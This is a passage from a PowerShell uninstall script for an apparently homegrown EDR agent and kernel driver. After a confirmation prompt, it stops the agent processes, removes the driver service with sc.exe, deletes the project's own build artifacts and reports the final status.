$remaining = Get-Process -Name $AgentName -ErrorAction SilentlyContinue
if ($null -eq $remaining) {
Write-Host " All agent processes stopped" -ForegroundColor Green
} else {
Write-Host " [!] Some processes could not be stopped" -ForegroundColor Red
}
}
# ── Driver Removal ───────────────────────────────────────
function Uninstall-DriverService {
Write-Host " [*] Checking kernel driver..." -ForegroundColor Cyan
$svc = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue
if ($null -eq $svc) {
Write-Host " Driver service is not installed" -ForegroundColor Yellow
return
}
if (-not (Test-Administrator)) {
Write-Host " [!] Administrator privileges required for driver removal" -ForegroundColor Red
Write-Host " Right-click PowerShell -> Run as Administrator" -ForegroundColor Yellow
return
}
$status = $svc.Status.ToString().ToLower()
Write-Host " Driver status: $status" -ForegroundColor Yellow
if ($status -eq "running") {
Write-Host " Stopping driver service..." -ForegroundColor Cyan
$result = sc.exe stop $ServiceName 2>&1
if ($LASTEXITCODE -eq 0) {
Write-Host " Driver stopped" -ForegroundColor Green
} else {
Write-Host " [!] Stop returned: $result" -ForegroundColor Yellow
}
Start-Sleep -Seconds 2
}
Write-Host " Removing driver service..." -ForegroundColor Cyan
$result = sc.exe delete $ServiceName 2>&1
if ($LASTEXITCODE -eq 0) {
Write-Host " Driver service removed" -ForegroundColor Green
} else {
Write-Host " [!] Failed to remove: $result" -ForegroundColor Red
}
}
# ── Build Artifact Cleanup ───────────────────────────────
function Remove-BuildArtifacts {
Write-Host " [*] Cleaning build artifacts..." -ForegroundColor Cyan
$artifacts = @(
(Join-Path $ScriptDir "edr_agent.exe"),
(Join-Path $ScriptDir "src\edr_agent"),
(Join-Path $ScriptDir "test_driver_logic.exe"),
(Join-Path $ScriptDir "test_driver_ioctl.exe")
)
$dirs = @(
(Join-Path $ScriptDir "nimcache"),
(Join-Path $ScriptDir "src\nimcache")
)
foreach ($f in $artifacts) {
if (Test-Path $f) {
Remove-Item $f -Force -Confirm:$false
Write-Host " Removed $(Split-Path $f -Leaf)" -ForegroundColor Green
}
}
foreach ($d in $dirs) {
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -Confirm:$false
Write-Host " Removed $(Split-Path $d -Leaf)/" -ForegroundColor Green
}
}
Write-Host " Build artifacts cleaned" -ForegroundColor Green
}
# ── Status Summary ───────────────────────────────────────
function Write-FinalStatus {
Write-Host ""
Write-Host " Status after uninstall:" -ForegroundColor Cyan
$agentRunning = Get-Process -Name $AgentName -ErrorAction SilentlyContinue
Write-Host " Agent: " -NoNewline
if ($null -eq $agentRunning) {
Write-Host "NOT RUNNING" -ForegroundColor Green
} else {
Write-Host "STILL RUNNING ($((@($agentRunning).Count)) processes)" -ForegroundColor Red
}
$svc = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue
Write-Host " Driver: " -NoNewline
if ($null -eq $svc) {
Write-Host "NOT INSTALLED" -ForegroundColor Green
} else {
Write-Host "$($svc.Status)" -ForegroundColor Red
}
if ($Clean) {
$agentExe = Join-Path $ScriptDir "edr_agent.exe"
Write-Host " Binary: " -NoNewline
if (-not (Test-Path $agentExe)) {
Write-Host "CLEANED" -ForegroundColor Green
} else {
Write-Host "EXISTS" -ForegroundColor Yellow
}
}
Write-Host ""
}
# ── Main ─────────────────────────────────────────────────
Write-Banner
$doAgent = (-not $Driver)
$doDriver = (-not $Agent)
$parts = @()
if ($doAgent) { $parts += "agent process" }
if ($doDriver) { $parts += "kernel driver" }
if ($Clean) { $parts += "build artifacts" }
$desc = $parts -join ", "
if (-not $Force) {
Write-Host " This will remove: $desc" -ForegroundColor Yellow
Write-Host ""
$reply = Read-Host " Continue? (y/N)"
if ($reply -ne "y") {
Write-Host ""
Write-Host " Cancelled." -ForegroundColor Yellow
Write-Host ""
exit 0
}
Write-Host ""
}
if ($doAgent) {
Stop-Agent
Write-Host ""
}
if ($doDriver) {
Uninstall-DriverService
Write-Host ""
}
if ($Clean) {
Remove-BuildArtifacts
Write-Host ""
}
Write-FinalStatus
Write-Host " [+] Uninstall complete." -ForegroundColor Green
Write-Host ""